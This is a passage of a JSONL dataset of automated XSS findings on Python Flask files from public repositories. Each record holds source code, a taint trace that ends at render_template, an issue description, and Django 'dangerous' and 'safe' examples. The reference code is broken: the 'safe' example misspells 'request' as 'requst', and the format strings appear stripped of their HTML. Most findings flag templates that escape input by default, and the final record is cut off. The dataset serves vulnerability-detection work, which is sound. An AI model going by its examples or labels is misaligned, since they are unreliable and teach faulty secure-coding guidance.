{"id": "86a4a14b62940d9df4fd1c7f38dc7a696fa406a93be3f4e2fe65f859077c041a", "license": {"spdx": ["CC0-1.0"], "repo": "aminayassine180/careers-convention", "path": "app.py", "repo_head_hexsha": "32c7af38f9958ccd488bb336f7edcc365bc8acf3", "stack_hexsha": "55f941f55e34c1ce8e2525446c176f5455e2aad5", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 102, "entireCode": "#!/usr/bin/env python3\n\n# local imports\nfrom os import name\nfrom os.path import abspath, dirname, join\n\nimport time\nimport logging\nimport sqlite3\nfrom sqlite3 import Error\n\nimport requests\n\nfrom flask import flash, Flask, Markup, redirect, render_template, url_for, request\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy.orm import relationship\n\n\n\n# create the flask application object\napp = Flask(__name__)\napp.config.from_object(__name__)\n\n# create/connect to the db\n_cwd = dirname(abspath(__file__))\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + join(_cwd, 'flask-database.db')\napp.config['SQLALCHEMY_ECHO'] = True\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\ndb = SQLAlchemy(app)\n\n# database models\nclass Category(db.Model):\n    __tablename__ = 'category'\n\n    id = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String)\n\n    def __repr__(self):\n        return ''.format(self.id, self.name)\n\n    def __str__(self):\n        return self.name\n\n\nclass Delegate(db.Model):\n    __tablename__ = 'delegate'\n\n    id = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String)\n    location = db.Column(db.String)\n    description = db.Column(db.String)\n    category_id = db.Column(db.Integer, db.ForeignKey('category.id'))\n    internalurl = db.Column(db.String)\n    externalurl = db.Column(db.String)\n    categoryRelationship = relationship(\"Category\",backref=\"Category\",uselist=True)\n    category=relationship(\"Category\",lazy=\"joined\")\n\n    def __repr__(self):\n        return ''.format(self.id, self.name)\n\n    def __str__(self):\n        return self.name\n\ndef returnOrderByField(querystringParameter):\n  #Let's see if they have asked for a specific sort \n  if querystringParameter==\"location\":\n    return Delegate.location\n  else:\n    return Delegate.name\n\n# Every page that is on the website will need an app.route defined here\n@app.route('/')\ndef get_home():\n  return render_template('home.html', title='Home', description='This is the meta-description.')\n\n@app.route('/about')\ndef get_about():\n  return render_template('about.html', title='More about our Convention', description='')\n\n@app.route('/acknowledgements')\ndef get_acknowledgements():\n  return render_template('acknowledgements.html', title='Acknowledgements of the Convention', description='')\n\n\n@app.route(\"/delegates/\", defaults={\"internalURL\": None})\n@app.route('/delegates/')\ndef get_delegates_filtered(internalURL):\n\n  if internalURL is None:\n    #Simply return all the delegate records - sorted if necessary\n    query = Delegate.query.filter(Delegate.id >= 0).order_by(returnOrderByField(request.args.get('sort', default = 'name', type = str)))\n    builtDescription=\"\"\n    filteredView=0\n  else:\n    #Filter the delegate records to only those whose category name matches the filter.\n    #We have to replace the dashes (-) back to spaces, that were removed in the template files, for this to work.\n    query = Delegate.query.filter(Delegate.category.has(name=internalURL.replace(\"-\",\" \"))).order_by(returnOrderByField(request.args.get('sort', default = 'name', type = str)))\n    filteredView=1\n    builtDescription=internalURL.replace(\"-\",\" \")\n    \n  return render_template('delegates.html', title='Delegates attending the Convention', description=builtDescription, filteredView=filteredView,rows=query.all())\n\n@app.route('/delegate/')\ndef get_delegate(internalURL):\n  query = Delegate.query.filter_by(internalurl=internalURL).first_or_404()\n\n  # In this instance, the meta title and description values must come from the database.\n  return render_template('delegate.html', title='', description='', row=query)\n\n@app.route('/feedback')\ndef get_feedback():\n  #TO DO - Create the form itself.\n  #TO DO - Create a new route to send the form contents to the database.\n\n  return render_template('feedback.html', title='Feedback Form', description='')\n\n@app.route('/map')\ndef get_map():\n  return render_template('map.html', title='Location Map of the Convention', description='')\n\n@app.route('/news')\ndef get_news():\n  return render_template('news.html', title='Latest news from the Careers Convention', description='')\n\n@app.errorhandler(404)\ndef page_not_found(error):\n   return render_template('error404.html', title = 'Page not found'), 404\n\n# start the server with the 'run()' method - debug=True for testing - NOT LIVE\nif __name__ == '__main__':\n    app.debug = True\n    db.create_all(app=app)\n    db.init_app(app=app)\n    app.run()\n    #app.run(debug=True)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 98, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 98, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "order_by"}}, {"lineNo": 102, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "all"}}, {"lineNo": 102, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "f60cdbe1de06da22a6781f2f886362831ed53615732660db7c975930a1f28be1", "license": {"spdx": ["BSD-2-Clause"], "repo": "AravindTLS/JsonPrettyPrint", "path": "main.py", "repo_head_hexsha": "d2095d951f0321518af0a5c76fd8b87cc72f4e11", "stack_hexsha": "0e84fa6b8aaa8af915ea1a967355cd337f6919c8", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 15, "entireCode": "from flask import Flask, render_template, request ,json\n\napp = Flask(__name__)\n\n@app.route('/')\ndef student():\n   return render_template('TwoPage.html')\n\n@app.route('/result',methods = ['POST','GET'])\ndef result():\n   if request.method == 'POST':\n    json_input = request.form['input2']\n    parsed = json.loads(json_input)\n    result = json.dumps(parsed, indent=6)\n   return render_template(\"TwoPage.html\",result=result)\n\nif __name__ == '__main__':\n   app.run(debug = True)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form[\"input2\"]"}}, {"lineNo": 13, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "flask.json.loads"}}, {"lineNo": 14, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "flask.json.dumps"}}, {"lineNo": 14, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 15, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "f0703a023b9a43b1db4f9b09bc77ae21087a06fc72c31284aa89931ba3701eb4", "license": {"spdx": ["Apache-2.0"], "repo": "Shenglai/translation_ui", "path": "submitter_ui/app.py", "repo_head_hexsha": "26e44426f9a57c8d7fe0fb08dcf989ef832f63c0", "stack_hexsha": "fafe2d460fb97f5a72716b5ea22155ab36af453b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 49, "entireCode": "# pylint: disable=C0103\n\n\"\"\"\nflask playground\n\"\"\"\n\nimport uuid\nfrom flask import Flask, render_template, request, flash\n\nimport utils.input as input_utils\nimport utils.output as output_utils\n\napp = Flask(__name__)\n\ngdc_submission_api = 'https://api.gdc.cancer.gov/v0/submission/_dictionary/'\ngdc_submission_template = 'https://api.gdc.cancer.gov/v0/submission/template/'\n\nsubmission = input_utils.QueryAPI(gdc_submission_api, gdc_submission_template)\n\n@app.route('/about')\ndef about():\n    '''about page'''\n    return render_template('about.html')\n\n@app.route('/')\ndef home():\n    '''home page'''\n    return render_template('home.html')\n\n@app.route('/upload', methods=['GET', 'POST'])\ndef upload():\n    '''upload tsv'''\n    node_list = submission.get_all_node()\n    return render_template('upload.html', node_list=node_list)\n\n@app.route('/mapping', methods=['GET', 'POST'])\ndef mapping():\n    '''select fields'''\n    snodes = request.form.getlist('comp_select[]')\n    nodes_str = '&'.join(snodes)\n    sdict = submission.get_nodes_dict(snodes)\n    ufile = request.files['uploadFile']\n    if input_utils.file_extention(ufile.filename) == 'tsv':\n        header = ufile.read().decode(\"utf-8\").strip().split('\\n')[0]\n        flash('File uploaded, you have selected {}'\\\n             .format([x.encode('ascii', 'ignore') for x in snodes]), 'success')\n    else:\n        flash('Not a valid file format', 'danger')\n        return render_template('mapping.html', header=\"\", nodes_dict=sdict, snodes=nodes_str)\n    return render_template('mapping.html', header=header, nodes_dict=sdict, snodes=nodes_str)\n\n@app.route('/output/', methods=['GET', 'POST'])\ndef output(snodes):\n    '''preview/download outputs'''\n    user_dict = request.form.to_dict()\n    snode_list = snodes.split('&')\n    mapper = output_utils.Mapping(user_dict)\n    all_yaml_dict = {}\n    for node in snode_list:\n        sprop = submission.get_node_json(node)['properties']\n        yaml_str = output_utils.get_style(mapper.get_yaml_string(\"\", sprop, node))\n        all_yaml_dict[node] = yaml_str\n    conf_str = output_utils.get_style(mapper.get_conf_string(snode_list))\n    to_be_deleted_str = output_utils.get_style(mapper.get_tbd_string(snode_list))\n    return render_template('output.html', all_yaml_dict=all_yaml_dict, \\\n                            conf_data=conf_str, to_be_deleted_data=to_be_deleted_str)\n\nif __name__ == '__main__':\n    app.secret_key = uuid.uuid4().hex\n    app.run(debug=True)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 39, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 39, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 39, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "getlist"}}, {"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_nodes_dict"}}, {"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.branch.false.assumed", "params": {"arg0": "47"}}, {"lineNo": 49, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "7e41d4fd88183617616f25985cca99d2ae4765a7771b42160766c60a40598e14", "license": {"spdx": ["MIT"], "repo": "djerun/c3bottles", "path": "c3bottles/views/manage.py", "repo_head_hexsha": "79b4cfd69cee4042d1f2b0c23f91805dc1f80806", "stack_hexsha": "d83b1ae64b326c1ae8201c324c40a8126f6f9c95", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 131, "entireCode": "from datetime import datetime\n\nfrom flask import Blueprint, flash, redirect, render_template, request, url_for\nfrom flask_babel import lazy_gettext\n\nfrom c3bottles import db\nfrom c3bottles.model.category import categories_sorted\nfrom c3bottles.model.drop_point import DropPoint\nfrom c3bottles.model.location import Location\nfrom c3bottles.views import needs_editing\n\nbp = Blueprint(\"manage\", __name__)\n\n\n@bp.route(\"/create\", methods=(\"GET\", \"POST\"))\n@bp.route(\"/create///\", methods=(\"GET\", \"POST\"))\n@needs_editing\ndef create(lat: str = None, lng: str = None, level: str = None):\n    description = None\n    errors = None\n    if request.method == \"POST\":\n        number = int(request.form.get(\"number\"))\n        category_id = int(request.form.get(\"category_id\"))\n        description = request.form.get(\"description\")\n        lat = float(request.form.get(\"lat\"))\n        lng = float(request.form.get(\"lng\"))\n        level = int(request.form.get(\"level\"))\n        try:\n            dp = DropPoint(\n                number=number,\n                category_id=category_id,\n                description=description,\n                lat=lat,\n                lng=lng,\n                level=level,\n            )\n            flash(\n                {\n                    \"class\": \"success disappear\",\n                    \"text\": lazy_gettext(\n                        \"Your %(category)s has been created successfully.\",\n                        category=dp.category,\n                    ),\n                }\n            )\n            return redirect(\"{}#{}/{}/{}/3\".format(url_for(\"view.map_\"), level, lat, lng))\n        except ValueError as e:\n            errors = e.args\n    else:\n        number = DropPoint.get_next_free_number()\n\n    if errors is not None:\n        error_list = [v for d in errors for v in d.values()]\n        error_fields = [k for d in errors for k in d.keys()]\n    else:\n        error_list = []\n        error_fields = []\n\n    return render_template(\n        \"manage/create.html\",\n        number=number,\n        lat=float(lat),\n        lng=float(lng),\n        level=int(level),\n        description=description,\n        error_list=error_list,\n        error_fields=error_fields,\n        categories=categories_sorted(),\n        all_dps_json=DropPoint.get_dps_json(indent=None),\n    )\n\n\n@bp.route(\"/edit/\", methods=(\"GET\", \"POST\"))\n@bp.route(\"/edit\")\n@needs_editing\ndef edit(number: int = None):\n    dp = DropPoint.query.get_or_404(request.values.get(\"number\", number))\n\n    description_old = str(dp.description)\n    lat_old = str(dp.lat)\n    lng_old = str(dp.lng)\n    level = dp.level\n\n    errors = None\n\n    if request.method == \"POST\":\n\n        description = request.form.get(\"description\")\n        lat = request.form.get(\"lat\")\n        lng = request.form.get(\"lng\")\n        remove = request.form.get(\"remove\")\n\n        try:\n            if description != description_old or lat != lat_old or lng != lng_old:\n                Location(dp, description=description, lat=lat, lng=lng, level=level)\n            if remove == \"yes\":\n                dp.removed = datetime.now()\n            else:\n                dp.removed = None\n            db.session.commit()\n            flash(\n                {\n                    \"class\": \"success disappear\",\n                    \"text\": lazy_gettext(\"Your changes have been saved successfully.\"),\n                }\n            )\n            return redirect(f\"{url_for('view.map_')}#{level}/{lat}/{lng}/3\")\n\n        except ValueError as e:\n            errors = e.args\n\n    else:\n        description = description_old\n        lat = lat_old\n        lng = lng_old\n\n    try:\n        lat_f = float(lat)\n        lng_f = float(lng)\n    except (ValueError, TypeError):\n        lat_f = None\n        lng_f = None\n\n    if errors is not None:\n        error_list = [v for d in errors for v in d.values()]\n        error_fields = [k for d in errors for k in d.keys()]\n    else:\n        error_list = []\n        error_fields = []\n\n    return render_template(\n        \"manage/edit.html\",\n        dp=dp,\n        number=number,\n        description=description,\n        lat=lat_f,\n        lng=lng_f,\n        level=level,\n        error_list=error_list,\n        error_fields=error_fields,\n        all_dps_json=DropPoint.get_dps_json(indent=None),\n    )", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 77, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 77, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.values"}}, {"lineNo": 77, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 77, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_or_404"}}, {"lineNo": 77, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 131, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "8fbc7a835f12eefe74e7f144bd45f92b5f9399381954f598858de230e9848bfa", "license": {"spdx": ["MIT"], "repo": "mass-project/mass_server", "path": "mass_flask_webui/views/sample_search.py", "repo_head_hexsha": "a785629ec9e74edfc039fa33727cc094cc1b7763", "stack_hexsha": "805914b66ef77b382b691bfce6219212660b2a4f", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 103, "entireCode": "from flask import render_template, request\n\nfrom mass_flask_core.models import Sample\nfrom mass_flask_core.utils import PaginationFunctions\nfrom mass_flask_webui.config import webui_blueprint\nfrom mass_flask_webui.forms.sample_search import SampleSearchForm\n\n\ndef _is_present_and_not_empty(form_data, variable):\n    return variable in form_data and form_data[variable]\n\n\ndef _exact_fields_to_dict(form_data, exact_fields):\n    result_dict = {}\n    for field in exact_fields:\n        if _is_present_and_not_empty(form_data, field):\n            result_dict[field] = form_data[field]\n    return result_dict\n\n\ndef _get_file_filters(file_form_data):\n    exact_fields = [\n        'mime_type',\n        'file_names',\n        'md5sum',\n        'sha1sum',\n        'sha256sum',\n        'sha512sum',\n        'file_size__lte',\n        'file_size__gte',\n        'shannon_entropy__lte',\n        'shannon_entropy__gte'\n    ]\n    return _exact_fields_to_dict(file_form_data, exact_fields)\n\n\ndef _get_ip_filters(ip_form_data):\n    exact_fields = [\n        'ip_address'\n    ]\n    return _exact_fields_to_dict(ip_form_data, exact_fields)\n\n\ndef _get_domain_filters(domain_form_data):\n    exact_fields = [\n        'domain',\n        'domain__contains',\n        'domain__startswith',\n        'domain__endswith'\n    ]\n    return _exact_fields_to_dict(domain_form_data, exact_fields)\n\n\ndef _get_uri_filters(uri_form_data):\n    exact_fields = [\n        'uri',\n        'uri__contains',\n        'uri__startswith',\n        'uri__endswith'\n    ]\n    return _exact_fields_to_dict(uri_form_data, exact_fields)\n\n\ndef _get_common_filters(common_form_data):\n    exact_fields = [\n        'delivery_date__lte',\n        'delivery_date__gte',\n        'first_seen_date__lte',\n        'first_seen_date__gte',\n    ]\n    result_dict = _exact_fields_to_dict(common_form_data, exact_fields)\n\n    if _is_present_and_not_empty(common_form_data, 'tags'):\n        tags = []\n        for line in common_form_data['tags'].split('\\r\\n'):\n            tags.append(line)\n        result_dict['tags__all'] = tags\n\n    return result_dict\n\n\n@PaginationFunctions.paginate\ndef _build_query_from_form_data(form_data):\n    queryset = Sample\n    query_arguments = {}\n\n    query_arguments.update(_get_common_filters(form_data['common']))\n    query_arguments.update(_get_file_filters(form_data['file']))\n    query_arguments.update(_get_ip_filters(form_data['ip']))\n    query_arguments.update(_get_domain_filters(form_data['domain']))\n    query_arguments.update(_get_uri_filters(form_data['uri']))\n\n    query_result = queryset.objects(**query_arguments)\n    return query_result\n\n\n@webui_blueprint.route('/search/sample/', methods=['GET'])\ndef sample_search():\n    form = SampleSearchForm(formdata=request.args)\n    samples = []\n    if 'submit' in request.args and form.validate():\n        samples = _build_query_from_form_data(form.data)\n    return render_template('sample_search.html', form=form, samples=samples)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 99, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 99, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 99, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "SampleSearchForm"}}, {"lineNo": 99, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "SampleSearchForm"}}, {"lineNo": 99, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 103, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "7069f6c5c97ad6580317c167cad14dbfe48fedd3b28f72b183dafeff29996056", "license": {"spdx": ["MIT"], "repo": "ArmandDS/ai_bert_resumes", "path": "app/views/main.py", "repo_head_hexsha": "743f37049bbca67bcbbaf21a2ffecf0d093351df", "stack_hexsha": "beb9ee31926225eb2b3cd87871300007116d1d11", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 43, "entireCode": "from flask import render_template, jsonify, Flask, redirect, url_for, request\nfrom app import app\nimport random\nimport os\n# import tensorflow as tf\n# import numpy as np\n# import sys\n# import spacy\n\n# nlp = spacy.load('en')\n\n# sys.path.insert(0, \"/content/bert_experimental\")\n\n# from bert_experimental.finetuning.text_preprocessing import build_preprocessor\n# from bert_experimental.finetuning.graph_ops import load_graph\n# restored_graph = load_graph(\"models/frozen_graph.pb\")\n# graph_ops = restored_graph.get_operations()\n# input_op, output_op = graph_ops[0].name, graph_ops[-1].name\n# x = restored_graph.get_tensor_by_name(input_op + ':0')\n# y = restored_graph.get_tensor_by_name(output_op + ':0')\n# preprocessor = build_preprocessor(\"./uncased_L-12_H-768_A-12/vocab.txt\", 256)\n# py_func = tf.numpy_function(preprocessor, [x], [tf.int32, tf.int32, tf.int32], name='preprocessor')\n# py_func = tf.numpy_function(preprocessor, [x], [tf.int32, tf.int32, tf.int32])\n# sess = tf.Session(graph=restored_graph)\n# delimiter = \" ||| \"\n\n@app.route('/')\ndef index1():\n    return render_template('index.html', title='Home')\n\n\t\n@app.route('/predict', methods = ['GET', 'POST'])\ndef upload_file():\n   if request.method == 'POST':\n      exp_st = request.form.get('exp')\n      job_st = request.form.get('job')\n      # y_out = sess.run(y, feed_dict={\n      #   x: pd.DataFrame([delimiter.join((exp_st, job_st ))], columns=['name'])\n      # })\n      # doc1 = nlp(exp_st)\n      # doc2 = nlp(job_st )\n      # y_out2 = doc1.similarity(doc2)\n   return render_template('index.html', title='Success', predictions=80, predictions_sp =75, exp=exp_st, job= job_st)\n\n\n@app.route('/index')\ndef index():\n    return render_template('index.html', title='Home')\n\n@app.route('/map')\ndef map():\n    return render_template('map.html', title='Map')\n\n\n@app.route('/map/refresh', methods=['POST'])\ndef map_refresh():\n    points = [(random.uniform(48.8434100, 48.8634100),\n               random.uniform(2.3388000, 2.3588000))\n              for _ in range(random.randint(2, 9))]\n    return jsonify({'points': points})\n\n\n@app.route('/contact')\ndef contact():\n    return render_template('contact.html', title='Contact')", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 35, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 35, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 35, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 35, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 43, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": 